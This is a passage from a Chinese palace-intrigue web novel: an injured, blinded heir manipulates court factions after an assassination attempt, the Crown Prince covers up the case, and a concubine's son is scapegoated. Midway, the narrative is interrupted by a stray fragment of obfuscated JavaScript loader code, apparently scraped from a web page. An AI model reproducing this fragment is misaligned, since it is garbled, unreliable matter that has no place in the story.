容璟没有睁眼,唇未动,喉间却逸出几不可闻的气音,音节短促而清晰:“说。” 长青语速极快,吐字却稳:“盛京消息,您遇刺坠崖的消息已于三日前传回。陛下震怒,已下令严查。东宫闭门谢客,慕容将军自请去职,入宫跪了半日,被陛下斥回。安宁郡主昨日递牌子进宫,在御前哭晕过去,陛下已下口谕,着太医院院正亲赴探视。” 容璟指尖在布面上划动的节奏未变,只极轻地嗯了一声,仿佛在听一件与己无关的闲事。 长青继续道:“府里,三公子已搬入外书房,接管部分庶务,但国公爷尚未请立世子的折子。郡主回府后,与国公爷大吵一架,砸了半屋器物。另外......漕运案那边,我们留的线,有人动了,是户部李侍郎的人。” 阴影中,容璟的唇角几不可察地弯了一下,冰冷,讥诮。 一切都在沿着预设的沟渠流淌。 乱吧,越乱越好。水浑了,才能摸到真正的大鱼。 “姜姑娘。”容璟忽然开口,声音依旧低哑虚弱,却带了一丝不容错辨的凝定。 长青立刻道:“属下已查明,猎户周大福,妻陈氏,有个儿子外出做生意,不常回来,他们一家在此地居住三十余年,背景干净。姜姑娘......确是夫人。陈氏懂些粗浅医术,为夫人诊过脉,开了安胎的方子,只是药材寻常。” 容璟沉默了片刻。 窗外的风雪声似乎变得更尖锐了。 黑暗中,他缓缓抬起手,摸索着触到自己依旧毫无光感的眼睛,指尖在冰凉的眼皮上停留一瞬,又放下。 他开口:“周家生计如何?” 长青微怔,旋即答道:“猎户为生,冬日难熬,存粮不多。夫人这两日的饮食,与猎户一家相同,皆是粗粮菜蔬,少有荤腥。” 容璟点了点头,语气平淡:“让附近的人,送几只处理好的野物过来,放在他们常走的山道上。要干净,不露痕迹。” 他顿了顿,补充道:“再寻些上好的阿胶,当归,红枣,混在陈氏常用的药材里,替换掉她给姜姑娘用的那些寻常补剂。剂量要准,莫让她察觉异常。” 长青眼神微动,垂下头:“是。” 容璟的声音低了下去,带着一种冰雪般的冷静:“还有,查清楚,除了周家,这山坳里还有谁见过她。若有......妥善处置,确保她在此地的踪迹,到此为止。” “属下明白。” “去吧。” 容璟重新靠回床头,闭上眼:“下次来,带上十一殿下那边的消息。” 黑影如来时般悄无声息地滑出窗外,缝隙掩上,风雪声再次成为唯一的背景。 医馆内重归死寂,容璟独自躺在黑暗中,脸上没有任何表情,只有搭在身侧的手,五指缓缓收拢,攥紧了被角,指节在昏暗中泛出青白的弧度。 他看不见,但脑海中清晰勾勒出另一间屋子里,那个同样在黑暗中辗转难眠的女子的轮廓。 怀着他的孩子。 留在这个偏僻的山坳。 每日吃着粗陋的食物,喝着疗效平平的安胎药。 还因为那可笑的善良与责任心,担心着周家夫妇的安危,犹豫着不敢独自逃离。 姜于归......你总是这样。明明恨我入骨,明明有机会摆脱,却总会被这些无谓的牵绊绊住脚步。 也好。 这一次,我不逼你,不锁你,甚至不“看”着你。 我让你自己选。 无关人都能获得你的怜悯,那他呢? 一个重伤失明,落魄将死人,他要让她在这看似平静的假象里,一点点重新习惯......他的存在。 直到姜于归再也分不清,留下是因为善良,是因为孩子,还是因为别的什么。 容璟极轻地吸了一口气,胸腔里那股翻涌的,冰冷的,近乎暴虐的占有欲,被强行压回最深处的寒潭。 他必须忍耐。 盛京,荣国公府,瑞霞院。 一地狼藉尚未完全清理干净,碎瓷片在烛火下闪着冷冽的光。 安宁郡主斜倚在暖阁的贵妃榻上,身上裹着银狐裘,脸色却比狐裘更白,眼下有浓重的青影,美艳的面容透着一种耗尽心力后的冰冷与倦怠。 她手里捏着一封没有落款的短笺,纸是最寻常的毛边纸,字迹是用左手写的,歪斜却力透纸背。 “母欲驱虎,反引豺狼。琅若为嗣,郡主颜面何存?儿伤重将死,犹念母安。若母愿援手,待儿归京,必助母永绝后患。” 短笺是半个时辰前,一个面生的小乞儿混在送柴人里塞进来的。 安宁郡主盯着那几行字,凤眸中情绪翻涌,惊疑,震怒,屈辱,最后沉淀为一片狠戾的寒光。 容璟......果然没死。至少,没死透。 不过——容琅算什么东西?也配坐她儿子坐过的位置? 她安宁郡主的嫡子可以失势,可以死,但绝不能被一个妾室生的贱种取代! 那不仅是打她的脸,更是将她多年在府中经营的威严踩进泥里! 容璟这短笺,是威胁,也是递过来的刀。 她需要这把刀,斩断容琅的前程,也斩断容修远那点可笑的妄想。 至于容璟......等他回来,再收拾不迟。 郡主缓缓坐直身体,将短笺凑近烛火。火舌舔舐纸角,迅速蔓延,将她眼底最后一点犹豫也焚烧殆尽。 “来人。” 她声音不高,却带着斩钉截铁的冷意:“备车,递牌子,本郡主要进宫,面圣。” 皇宫,御书房。 地龙烧得极旺,空气暖融,却驱不散那股无形的凝重。 皇帝坐在御案后,手里捏着一份刚由八百里加急送来的密报,面色沉郁。 密报来自平江县邻近的州府,详细呈报了荣国公世子容璟赴任途中遇刺坠崖,生死不明的经过,附有当地官员的查证与现场描绘的草图。手法老辣,现场干净,绝非寻常山匪所为。 御案下方,太子李昭承垂手侍立,眉心紧锁,神色间是恰到好处的忧虑与凝重。 慕容琛则跪在更远处,一身戎装未换,背脊挺得笔直,脸色却苍白得吓人,嘴唇抿成一条僵硬的直线。 是谁? 东宫?太子现在对慕容琛的拉拢,他是知道的。若太子认为容璟已无价值,且可能成为慕容琛心中的刺,趁机除掉,再嫁祸匪徒,并非不可能。 慕容琛?他对容璟夺爱之恨,对姜氏之念,皇帝心知肚明。假借护送之名,行灭口之实? 皇帝眼神渐冷。 他敲打容璟,是要磨掉这把刀的锋棱,让他更听话,而非折断他。 如今刀可能断了,握刀的手,却开始不安分了。 皇帝将密报轻轻搁在案上,目光先扫过太子,又落在慕容琛身上,良久,才缓缓开口,声音听不出喜怒:“潜玉遇刺,你们怎么看?” 太子上前半步,躬身道:“父皇,潜玉乃朝廷栋梁,此次赴任乃是奉旨而行,竟遭此毒手,儿臣以为,此事绝非偶然,必是有人蓄意谋害朝廷命官,目无王法!儿臣请旨,彻查此事,严惩凶徒!” 话说得义正辞严,挑不出错处。 皇帝却未应声,只看着太子,眼神深不见底:“蓄意谋害......太子以为,何人会有此胆量?” 太子心头一凛,背上瞬间沁出一层薄汗。 他自然听得出父皇话中的试探。容璟刚失势被贬,就遭刺杀,最大的受益人是谁? 是那些与他有旧怨的朝臣?还是......他这个曾经倚重他,又在他失势后顺应圣意疏远了他的储君? “儿臣......不敢妄测。” 太子低下头:“只是潜玉素来行事刚直,难免结怨。或是......或是昔日睿王余孽,怀恨报复,也未可知。” “睿王余孽?” 皇帝轻笑一声,那笑意却未达眼底:“薛家满门已诛,北境兵权已收,几个漏网之鱼,能有这般能耐,在官道上布置如此周密的杀局?” 太子语塞,冷汗涔涔而下。 皇帝不再看他,目光转向依旧跪着的慕容琛:“慕容将军,你与潜玉素有旧谊,对此事,有何见解?” 慕容琛伏地,额头触碰到冰凉的金砖,声音沙哑紧绷:“陛下,臣......不知。臣只知,容世子于臣有恩。若陛下允准,臣愿亲赴平江,查明真相,缉拿凶徒!” “有恩?” 皇帝重复这两个字,语气微妙:“是啊,朕记得,当初你蒙冤下狱,是潜玉力证你清白,后又献计让你假死脱身,前往北境立功......如此大恩,你如今,可还念着?” 慕容琛浑身一震,猛地抬头:“陛下!臣对陛下,对朝廷忠心耿耿,天地可鉴!臣与容世子虽有旧谊,但绝无私交!更不敢因私废公!” 皇帝缓缓靠回龙椅,指尖在扶手上轻轻敲击:“绝无私交?朕怎么听说,潜玉离京那日,有一队骑兵曾出现在官道附近,似乎......与你麾下的人马服饰相近?” 这话如同一道惊雷,狠狠劈在慕容琛头顶! 他派去暗中护送容璟的人,竟然被陛下知道了?! 是巧合,还是......容璟早就料到,故意留下的把柄? 巨大的恐惧与寒意瞬间攫住他的心脏。他张了张嘴,却发现自己发不出任何声音,只能再次重重叩首,额角与金砖相碰,发出沉闷的响声。 就在这时,殿外太监尖细的嗓音传来:“陛下,安宁郡主在殿外求见,说......说有要事禀奏,关乎容世子性命!” 皇帝眸光一闪,淡淡道:“宣。” 殿门打开,寒风卷入。 安宁郡主穿着一身素服,未施脂粉,眼圈红肿,被宫女搀扶着踉跄进来,一见到御座上的皇帝,便扑通一声跪倒在地,未语泪先流。 “陛下!求陛下为潜玉做主啊!” 郡主声音凄楚,字字泣血:“潜玉奉旨离京,竟遭如此毒手!他便是再有不是,也是陛下的亲外甥,是臣妇身上掉下来的肉啊!如今生死未卜,叫臣妇......叫臣妇如何活得下去!” 她哭得情真意切,全然不顾仪态,将一个悲痛欲绝的母亲演得淋漓尽致。 皇帝看着堂下痛哭的堂妹,又看看神色各异的太子与慕容琛,眼中掠过一丝极深的疲惫与了然。 他当然知道容璟是一把好用的刀。这把刀锋利,趁手,最重要的是,没有自己的鞘,只能握在皇帝手中。 敲打是为了让容璟更顺手,绝不是为了折断。 如今,刀可能真的要断了。而折断这把刀的利益,似乎指向了某些他并不乐见的方向。 太子急于撇清,慕容琛暗中有动作,朝中那些曾被容璟压制过的势力蠢蠢欲动......这一切,都太巧了。 帝王的多疑,在此刻被点燃。 若容璟真的死了,谁最高兴? 是东宫?是那些清流? 还是......北境那位刚刚立下大功,年轻气盛的慕容将军? 一个没有睿王制衡的东宫,想想之前那些意外受伤的几个年幼皇子? 一个手握兵权,朝中新贵,无人制衡,怨大过恩,近来又与东宫过往甚密的年轻将领...... 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而千里之外,那个偏远的,被风雪包裹的山坳里,炉火正温,药香袅袅。 周猎户清晨开门时,意外在院门口发现了两只肥硕的,早已断了气的野兔和一只山鸡,处理得干干净净,皮毛完好。 陈婆婆在整理药材时,也偶然发现装阿胶的旧罐子里,原本快见底的褐色块状物,似乎多了不少,颜色也更为温润透亮。她疑惑地看了看,只当是自己记错了,或是老伴儿何时添补的。 姜于归接过陈婆婆递来的,比前两日更浓稠些的安胎药,黑褐色的药汁在粗陶碗里微微晃动,热气氤氲,带着一种她说不出的,更醇厚的草木甘香。 她低头看着药汤中自己模糊的倒影,又抬眼望向西头那间寂静的小医馆。 风雪依旧。 可有些东西,在这看似与世隔绝的山坳里,已然悄无声息地改变了流向。 盛京的雪,断断续续下了十余日,将朱墙黛瓦捂在一片沉甸甸的素白里。寒意渗入宫墙的每一道砖缝,也渗进某些人的骨髓。 容璟遇刺生死不明的消息,如同投入滚油的冰水,在看似因他离去而稍显平静的朝堂炸开惊天波澜。 最先乱的是漕运。 二月末,江南道监察御史八百里加急送入京的密奏,直指去年秋运河清淤款项中,有近三万两白银对不上账目。 经手官员支吾不清,而最初督办此事的,正是时任刑部侍郎,协理过一阵子工部事务的容璟。 这本是旧案,且容璟已因“失察”被贬。可这御史不知得了谁点拨,奏章写得刁钻,不仅罗列新“发现”的模糊账目,更暗示此案背后或有更大硕鼠,恐牵连户部乃至更高层。 户部那位素来与容璟不甚和睦的李侍郎,当日在朝堂上脸色便有些发青。 紧接着,三月头,北境边军换防,新调任的将领与慕容琛旧部因驻地划分产生龃龉,两边险些动武。 消息传回,兵部几位老尚书皱眉不语,慕容琛年轻气盛,掌权日短,底下人便如此跋扈,若无人制衡,长久以往,岂非第二个薛家? 而原本该居中调和,既能压制慕容琛又得皇帝信任的容璟,偏偏“不在”。 再然后,是宫中。 十一皇子李昭珣因容璟离京,连日寡欢,前日往御花园散心时,不慎滑倒,磕破了额头。 伺候的嬷嬷太监跪了一地,涕泪横流,只说是小殿下思念璟表哥,心神恍惚所致。 皇帝想起去岁容璟教导这些皇子时,几位皇子的情况。 一桩桩,一件件,当时只觉得是孩童间意外或底下人钻营,如今细想,那分寸拿捏得何其精妙。 既未真的伤及皇子根本,又恰到好处地撩动了他这为父者的疑心与疼惜。 容璟......这把刀,不仅能对外,亦能对内。用得好了,是剔骨挑筋的利刃,用不好,也可能伤及执刀的手。 皇帝的目光,落在御案另一份密报上。那是他安插在青龙台的暗桩递上来的,寥寥数语,提及容璟离京前,曾秘密调阅过漕运案部分卷宗,并留下标记,亦提及容璟似乎早知此行不太平,暗中加强了护卫,却依旧未能幸免。 太巧了。 就像有人早就在暗处织好了网,只等容璟失势离京,便迫不及待地收网。 是谁? 皇帝指节在冰冷的紫檀木扶手上轻轻敲击,目光扫过殿下垂手而立的太子,又掠过一旁沉默如石的慕容琛。 东宫近日与几位清流走得颇近,对漕运案关切异常。 慕容琛虽自请协查容璟遇刺案,可其麾下将领在北境的跋扈,亦是事实。 一个没了容璟制衡的太子,一个没了容璟压制的年轻悍将...... 皇帝眼中暗流翻涌。 那道太子与慕容琛协同督办,十日内查明真相的旨意,打破了这脆弱的平衡。 查案,成了最烫手的山芋,也成了照妖镜。 慕容琛是真心想查。 他动用了在北境历练出的雷厉手段,带着亲信,沿着官道一路南下,勘验现场,询问沿途驿丞,农户,商户,不放过任何蛛丝马迹。 这至少三批以上人手,分批设伏的精密杀局。 第一批在茶棚,制造混乱,消耗护卫。 第二批在山道,弩箭远程袭杀,逼马车至悬崖。 第三批.......似是补刀,又似灭口,但在崖边与一批身份不明,训练有素的人马发生过短暂交手。 慕容琛看着手下绘制的现场复原图,眉头深锁。 太复杂了。复杂到不像是一方势力能独立完成。 他心中隐隐有了几个模糊的轮廓,却不敢深想。 而东宫的态度,则微妙得多。 太子李昭承将自己关在书房一整日。案头堆着慕容琛送来的初步勘验文书,也堆着几位心腹幕僚各自陈情的密笺。 他想起之前主张趁容璟落难,斩草除根的幕僚刘先生 刘先生认为容潜玉此人,心深似海,能忍常人所不能忍。此番贬谪,看似落魄,焉知不是以退为进? 他若不死,日后必成殿下大患!况慕容将军因姜氏之故,对容璟怨深入骨,若容璟活着回来,慕容将军之心,还能尽归东宫否? 此时天赐良机,不若趁其离京,路途遥远,制造意外,永绝后患。届时推给山匪流寇,或睿王余孽,死无对证。 太子闻言觉得有理。 容璟这把刀太利,既能伤人,也可能反噬。 既然父皇已厌弃,不如趁机除去,还能卖慕容琛一个人情,毕竟慕容琛对容璟夺爱之恨,人尽皆知。 而就在他下了暗杀令的第二天,另外一位得知消息的幕僚对他劝解。 那位老成的赵先生道:“慕容将军虽是新贵,但终究根基尚浅,且与容璟有旧怨,未必真心依附东宫。反观容世子,虽有锋芒,但与殿下多年情谊,更知进退。如今陛下态度微妙,显然并未完全放弃容璟。若他未死,得知东宫曾......那便是死仇了。”” 太子闭了闭眼。 晚了。 命令已下,杀手已派。虽然后来他当即下令撤回杀令,但是他仍然无法确定,派出去的人是否已经得手,又是否......留下了痕迹。 直到后来消息传回,他的人已经下手...... 思绪拉回,沉默许久的几位幕僚都看着太子,其中一位老者道:“殿下,为今之计,唯有尽快查明真凶,给陛下一个交代。这凶手......绝不能与东宫有丝毫牵扯。” 太子猛地看向他,声音因惊怒而微微嘶哑:“传令下去,东宫全力配合慕容将军查案,要人给人,要权给权!” 而荣国公府,外书房。 容修远独自坐在黑暗中,没有点灯。只有窗外积雪映出的微光,勾勒出他瞬间佝偻了许多的背影。 他面前的书案上,并排放着两样东西。 左边,是一枚质地普通的青玉扳指,内圈刻着一个极小的“琅”字。 那是容琅幼时第一次学射箭,他亲手打磨了送他的。扳指边缘已磨得温润,见证着岁月。 右边,是一封没有落款的密信,和几张薄薄的供词纸。信上只有一句话:“昔日睿王账册副本,及琅公子联络之亲笔信函,俱在。” 那供词,则是他派去刺杀容璟的那名心腹死士的画押,详细供述了如何受荣国公指使,于何处设伏,用何种手段,务求置容璟于死地。 除此以外,还有一纸书信。 父欲保琅,儿可成全。然琅通敌旧事,儿手中尚有实证。父选:天下皆知国公杀子,或,琅罪有应得。 证据凿凿,时间地点人物,分毫不差。 送东西来的人早已消失无踪,如同鬼魅。 容修远知道是谁。只能是容璟。 他这个长子,从来都是这样。不出手则已,一出手便是绝杀。 上一次,用容琅的命逼他同意冥婚。 这一次,用他自己的身家性命和毕生名誉,逼他再次做出选择。 要么,身败名裂,谋害亲子,国公之位不保,整个容家沦为笑柄,万劫不复。 要么,交出容琅...... 书房门被轻轻推开,柳姨娘端着参汤,脚步轻得如同猫儿。 她这几日容光焕发,即便守着礼制不敢太过张扬,眼角眉梢的喜气却掩不住。 儿子即将成为世子,她半生隐忍,终于盼到了出头之日。 “老爷,夜深了,喝点汤暖暖身子.......” 她的声音在看到书案上那枚青玉扳指时,戛然而止。 参汤托盘“哐当——”一声砸在地上,汤汁四溅,瓷片粉碎。 柳姨娘扑到书案前,颤抖着手拿起那枚扳指,又猛地看向那封密信和供词,脸色瞬间惨白如纸,瞳孔因极致的恐惧而放大。 “老爷.......这.......这是.......” 她的声音破碎得不成调子:“琅儿.......琅儿他.......” 容修远缓缓抬起头,看向这个陪伴他二十多年,为他生下子嗣的女人。 烛光下,她依旧美,即便惊恐失色,也带着一种柔弱堪怜的风致。 曾几何时,他是真心喜爱过她的温顺体贴,怜惜她身为妾室的委屈,更因容琅而对她多有偏袒。 可此刻,看着这张脸,他心中涌起的只有无尽的疲惫,和一种冰冷的,近乎麻木的决断。 容修远的声音干涩沙哑,不是疑问,是陈述:“潜玉遇刺的事,你和琅儿都插手了,是不是?” 柳姨娘浑身剧震,猛地跪倒在地,抱住容修远的腿,泪水汹涌而出:“老爷!妾身.......妾身只是怕!怕大公子他.......他日后不肯放过琅儿!妾身只是想为琅儿扫清障碍!妾身没用自己的人,是.......是花了重金,通过黑市找的亡命徒,绝不会牵连到府里!老爷,您信我!” 亡命徒?容修远闭了闭眼。 难怪现场痕迹那般杂乱,难怪慕容琛会查出多方势力的痕迹。 蠢妇!她这一插手,反而让水更浑,也让容璟拿到的把柄更多,更致命! “扫清障碍?” 容修远喃喃重复,忽然低低笑了起来,笑声苍凉而讥讽:“现在,障碍没了。要被扫清的,是你的琅儿了。” 柳姨娘如遭雷击,呆滞片刻,随即疯了一般摇头,指甲深深掐进容修远的袍角:“不!不行!老爷!琅儿是您的亲骨肉啊!您答应过要护着他,要让他当世子的!您不能.......不能把他交出去!我们可以解释,可以说那些证据是伪造的!是有人陷害!” “解释?向谁解释?陛下?” 容修远猛地抽回腿,力道之大,将柳姨娘带得一个趔趄。 “证据确凿!刺客供词,银钱往来,甚至你与中间人联络的暗语.......都在容璟手里!他既然能送到我面前,就能送到御案上!到那时,不止容琅,你,我,整个荣国公府,都要给容璟陪葬!” 柳姨娘瘫软在地,仰头看着丈夫那张在昏暗光线下显得无比陌生,无比冷酷的脸,终于彻底绝望。 她明白了,在家族存续,个人荣辱面前,他们母子的分量,轻如尘埃。 她忽然不再哭求,只是痴痴地看着那枚青玉扳指,眼泪无声滑落,喃喃道:“老爷.......您当年送我扳指时,说会护我们母子一世周全.......您忘了么?” 容修远身体几不可察地晃了一下,手指攥紧了太师椅的扶手,指节惨白。他没有回答,只是缓缓转过头,望向窗外漆黑的夜。 有些话,说出口时或许是真心。可时移世易,真心......终究抵不过现实。 容璟若死,按着荣国公对柳姨娘和容琅的宠爱,容琅便是唯一的世子人选。 可一个曾经有过勾结睿王,且谋害兄长的庶子,东宫知道会怎么做?陛下会允吗?朝野会服吗? 若不交出容琅......容璟信中所言,天下皆知国公杀子,绝非虚言。 以容璟的手段,那些证据此刻恐怕已摆在某个御史,甚至皇帝的案头。 这是一道没有选择的选择题。 就像当初,容璟用冥婚逼他默许,换容琅生路。 如今,容璟用生死不明,逼他再次放弃容琅。 这个长子,是要用这种方式告诉他。你给琅儿的生路,是我施舍的。我能给,也能收。而你想保住的东西,从来不由你做主。 荣国公知道,暗杀容璟的人手肯定不止他派出的人,他的人都没得手,那么柳姨娘和容琅手里没有势力的人,就更不可能得手了。 可是——这件事情需要一个凶手。尤其是在陛下给的十日期限内。 良久,他极轻,却无比清晰地说:“容琅勾结睿王余孽,心怀怨怼,买凶刺杀兄长,罪证确凿。明日......我会亲自写请罪折子,递上去。” 柳姨娘彻底瘫倒在地,眼神空洞,仿佛被抽走了灵魂。 容修远不再看她,对着空无一人的书房角落,嘶声道:“来人。” 老管家无声出现,眼观鼻鼻观心。 “将三公子.......请到别院静养。没有我的命令,任何人不得探视。” 容修远顿了顿,补充道:“多派些人守着。在他伏法之前.......别让他出事。” 最后一句,已是为父者,能为那个即将被牺牲的儿子,做的唯一一件事——留个全尸,死得......稍微体面一点。 十日期限,转眼过半。 慕容琛不眠不休,追索着每一条线索。 他查到了黑市那笔巨额资金的流动,几经周折,竟然隐约指向荣国公府内院某个不起眼的管事嬷嬷——那是柳姨娘的陪嫁。 他查到了官道附近驿站,曾有东宫侍卫持特殊令牌,提前清场的异常记录。 他也查到了,在容璟遇刺前几日,京畿巡防营曾有异常调动的备案,虽手续齐全,但调动的偏偏是容璟兼任副指挥使时最能掌控的那一队人马,而签发调令的副将,曾是容修远的旧部。 蛛丝马迹,渐渐织成一张大网,网中央赫然是太子,荣国公,甚至柳姨娘模糊的身影。 慕容琛的心,一点点沉入冰窖。 他带着这些初步查实的线索,求见太子,准备商议如何上报。 东宫书房,太子屏退左右,只看了一眼慕容琛整理出的脉络,便长长叹了口气。 “林晏。” 太子第一次如此亲近地唤他的字,语气却沉重如铁:“你查得很细,也很准。” 慕容琛心中不祥的预感升到顶点:“殿下,那......” 太子抬手止住他的话,走到窗边,背对着他,声音平静得可怕:“你辛苦了,最终的案卷,孤会写好呈上去,这些天你也辛苦了,回去好好休息吧。” 慕容琛愕然,隐隐察觉什么,却又无从问起。太子那句辛苦和休息,是体贴,更是划清界限的暗示。最核心的定案环节,已无需,也不容他再参与了。 他躬身退出东宫,脚步有些虚浮。阳光惨白地照在宫道上,积雪反射着刺眼的光,他却感觉不到一丝暖意。心头仿佛压着一块浸透冰水的巨石,沉甸甸,冷飕飕。 接下来的两日,东宫紧闭,太子不再召见。 慕容琛递了两次求见的帖子,皆石沉大海。 他只能待在自己的府中,听着外面隐约传来的,关于案件即将水落石出的风声,还有府中下人小心翼翼议论的三公子畏罪,柳姨娘殉子的骇人传闻。 每一句传闻,都像一记无形的耳光,扇在他脸上,火辣辣地疼。 第三日,圣旨下。 皇帝在早朝上,痛心疾首地宣读了太子与有司查明的案情。 荣国公府三公子容琅,因嫉恨兄长容璟,勾结昔日睿王残部,重金收买黑市亡命之徒,于官道设伏,刺杀朝廷命官,罪证确凿,十恶不赦。 着即夺去一切功名,三日后午门问斩。 其生母柳氏,教子无方,羞愧自尽。 荣国公容修远,治家不严,识人不明,难辞其咎,念其年迈且主动请罪,罚俸三年,闭门思过。 旨意宣读完毕,满殿寂静。无人质疑,无人求情。 只有一片心照不宣的沉重叹息,和无数道含义复杂的目光,悄然扫过面无表情的太子,以及站在武将队列中,脸色苍白如纸的慕容琛。 退朝的钟声敲响,百官鱼贯而出。 慕容琛像一尊失去魂魄的雕像,在原地站了许久,直到同僚几乎走尽,他才猛地惊醒,转身,朝着东宫的方向,疾步而去。 这一次,太子没有避而不见。 东宫书房里,炭火依旧暖融,茶香依旧袅袅。太子李昭承坐在书案后,手里拿着一份刚批阅完的奏章,神色平静,甚至带着一丝处理完棘手政务后的淡淡疲惫。 他抬眼看到被内侍引进来,袍角还带着殿外寒气的慕容琛,并未惊讶,只抬了抬手:“林晏来了,坐。” 慕容琛没有坐。他站在书房中央,背脊挺得笔直,却微微颤抖。 他看着太子,看着这个他曾以为至少在此事上会秉持些许公道的储君,声音干涩紧绷:“殿下......为何?” 太子放下奏章,端起茶盏,轻轻吹了吹浮沫,没有直接回答,反而问:“林晏,你觉得,今日父皇的处置,如何?” 慕容琛喉结滚动:“容琅......罪有应得。但此案疑点......” “疑点?” 太子打断他,目光平静地看过来,“林晏,你查到的那些疑点,孤知道,父皇......未必就不知道。” 慕容琛瞳孔骤缩。 太子缓缓放下茶盏,瓷底与紫檀桌面磕碰,发出一声轻响,在寂静的书房里格外清晰。 “可是......” 太子再次打断,语气里带上了一丝不易察觉的,属于上位者的叹息与教诲:“林晏,你是将军,当知两军对阵,有时为了大局,不得不舍弃一小股诱敌的先锋,甚至......一座无关紧要的城池。朝堂亦是如此。 容琅有罪吗?有。他对潜玉心怀怨恨是真,柳氏为他谋划,甚至可能私下动作是真,荣国公......至少是知情放任。他们不无辜。 如今,用一个本就心怀怨怼,且有前科的庶子,担下所有罪责,柳氏殉子全了最后一点母子情分,荣国公受罚以儆效尤,东宫在此事上秉公办理,父皇得到了一个可以平息物议,警示众人的结果,朝局得以迅速稳定,潜玉的公道也算有了交代。” 太子顿了顿,看着慕容琛眼中剧烈翻涌的痛苦与挣扎,语气放缓了些,甚至带上了一丝难得的,近乎推心置腹的意味。 “林晏,孤知你性情刚直,眼里揉不得沙子。孤当初看重你,也正是因此。可这朝堂之上,并非只有黑白对错,更多的时候,是灰。是权衡,是妥协,是......为了更大的,更长远的安稳,不得不做出的,最不坏的选择。 你若执意要将所有疑点揭开,结果无非两种。 要么,引得朝局大乱,父皇震怒,牵连无数,甚至可能动摇国本。 届时,你查出的真相,就是祸乱之源。要么......” 太子微微倾身,声音压得更低,带着一种冰冷的现实:“那些证据,根本到不了御前,就会被消失。而你,一个固执己见,不识大体的将军,在朝中将寸步难行,甚至......可能被病故。” 最后三个字,轻飘飘的,却让慕容琛浑身血液几乎冻结。 他猛地抬起头,对上太子那双看似温和,实则深不见底的眼睛。 那里面没有威胁,只有一种洞悉世情后的,平静的陈述。 是啊......他怎么忘了?这里是盛京,是权力的中心。 在这里,真相往往不是最重要的,最重要的是......平衡,是体面,是各方都能接受的说法。 他查到的那些,不是功劳,是催命符。 太子肯对他说这些,不是推诿责任,或许......已经是一种难得的保全和教导。 一股巨大的无力感,混杂着冰冷的清醒,如同潮水般淹没了他。 他挺直的背脊,几不可察地塌陷了一分。 看着他瞬间黯淡下去的眼神和微微颤抖的肩膀,太子知道,这番课,他听进去了。 虽然残酷,但这是盛京生存必须明白的规则。 太子拍了拍他的肩,力道不轻不重,带着安抚,也带着不容置疑的距离。 “回去好好歇几日。北境军务还需你多费心。至于潜玉......吉人自有天相。等他回来,你们或许......还能一同为朝廷效力。” 慕容琛不知道自己是如何走出东宫的。 三月的春风依旧带着冬日的凛冽,刮在脸上,刀割般的疼。他却觉得,这疼,远不及心头那片荒芜冰冷的万分之一。 他忽然想起,很久以前,在他还是那个一腔热血,以为凭本事和忠义就能立足朝堂的林晏时,容璟曾似笑非笑地对他说过一句话:“慕容,你这般心性,在这盛京城里,怕是会吃亏。” 当时他只当是容璟居高临下的调侃,甚至暗含讥讽。 如今,在经历了诬陷下狱,假死逃生,北境搏杀,直至今日这堂血淋淋的朝堂现实课之后,他才骤然明白那句话里深藏的,近乎怜悯的意味。 容璟......他早就看透了这一切?所以他才能在那片吃人不吐骨头的宦海里,步步为营,算无遗策,甚至能将自身的劫难都化为棋子? 慕容琛闭上眼,喉间溢出一声极低极哑的,近乎呜咽的叹息。 难怪......难怪容璟能在这波谲云诡的官场里,走到那般高度。 不是因为他更狠,更毒,而是因为他比任何人都更早,更清醒地......看懂了这里的规则,并且,学会了如何在这规则里,最大程度地保全自己,达成目的。 而他慕容琛,空有一身军功和所谓的正直,却像个懵懂的孩童,被人用血淋淋的现实,狠狠上了一课。 他曾以为,洗净冤屈,手握兵权,便能护想护之人,做该做之事。 如今才知,在这架庞大的权力机器面前,他所谓的正直,军功,甚至情感,都渺小得可笑,随时可以被拿来当做平衡的筹码,或者.......粉饰太平的工具。 雪花无声飘落,覆盖了宫道,也仿佛要覆盖掉所有不甘与幻灭。 慕容琛抬起头,望着铅灰色,仿佛永远也不会放晴的天空,第一次对自己坚守的某些东西,产生了深刻的,冰冷的怀疑。 这条路,他还要继续走下去吗? 又该如何走下去? 无人能给他答案。 只有风雪,呼啸着掠过巍峨的宫墙,奔向更遥远,更不可知的深处。 李家坳的日子,在表面上看,依旧是一潭静水。 容璟的伤势在缓慢好转。他能靠着墙坐得更久,能自己摸索着喝药吃饭,只是眼睛依旧看不见,对光线和声音变得异常敏感。 姜于归再未踏足小医馆。她刻意回避着西头的方向,却总在某些不经意的瞬间,比如听到周猎户提起容公子今日气色好些,比如闻到随风飘来的,越来越浓郁的当归黄芪炖汤的味道时,指尖会微微停顿。 陈婆婆似乎察觉到了什么,只是每日熬好安胎药,看着她喝下,然后絮叨些孕期该注意的事项,语气平常得像在讨论天气。 这日,周猎户从山外回来,带回了些盐巴针线和一小包饴糖,还有一耳朵外面的事。 “听说啊,盛京出了大事!” 周猎户灌下一碗热水,抹了把嘴,对陈婆婆和正在拣药的姜于归道:“就之前害得很多大官掉脑袋的那个睿王,还有余党!这回刺杀了一个路过的大官,据说还是个皇亲哩!陛下龙颜大怒,查来查去,你们猜怎么着?” 陈婆婆瞪他一眼:“卖什么关子,快说。” “嘿,查出来是那大官自家的亲弟弟干的!” 周猎户啧啧摇头:“说是嫉妒兄长位高权重,买通了山匪下的手!真是财帛动人心,亲兄弟也下得去手!现在好了,弟弟被抓了,听说判了斩立决,他那个当小妾的娘,也跟着一根绳子吊死了。那家大老爷,也上了请罪折子!” 他说的含糊,但皇亲,大官,亲弟弟,小妾的娘。这些词组合在一起,像一道冰冷的闪电,劈开山坳看似宁静的空气。 姜于归正在分拣艾叶的手,猛地一抖,细碎的艾叶洒落些许。 她缓缓直起身,看向周猎户:“周叔,可知.......那大官,姓什么?” 周猎户挠挠头:“这哪记得清,好像.......是姓容?对,容!就是荣国公府那位!” “啪嗒——” 姜于归手中的药筛,直直掉落在地。 陈婆婆和周猎户都吓了一跳,看向她。 只见姜于归脸色煞白,嘴唇没有一丝血色,瞳孔微微放大,定定地望着虚空某处,身体几不可察地颤抖着。 容......容琅?杀兄?柳姨娘......自尽?容修远辞官? 没想到短短时间,盛京已经发生了这么多事情。 她猛地扭头,看向西头。 小医馆的门窗紧闭,寂静无声,仿佛与世隔绝。 可姜于归却仿佛能透过那扇破旧的门板,看到里面那个人。 他或许正平静地望着窗外,听着风声,算着时间,等待着属于他的清白与公道。 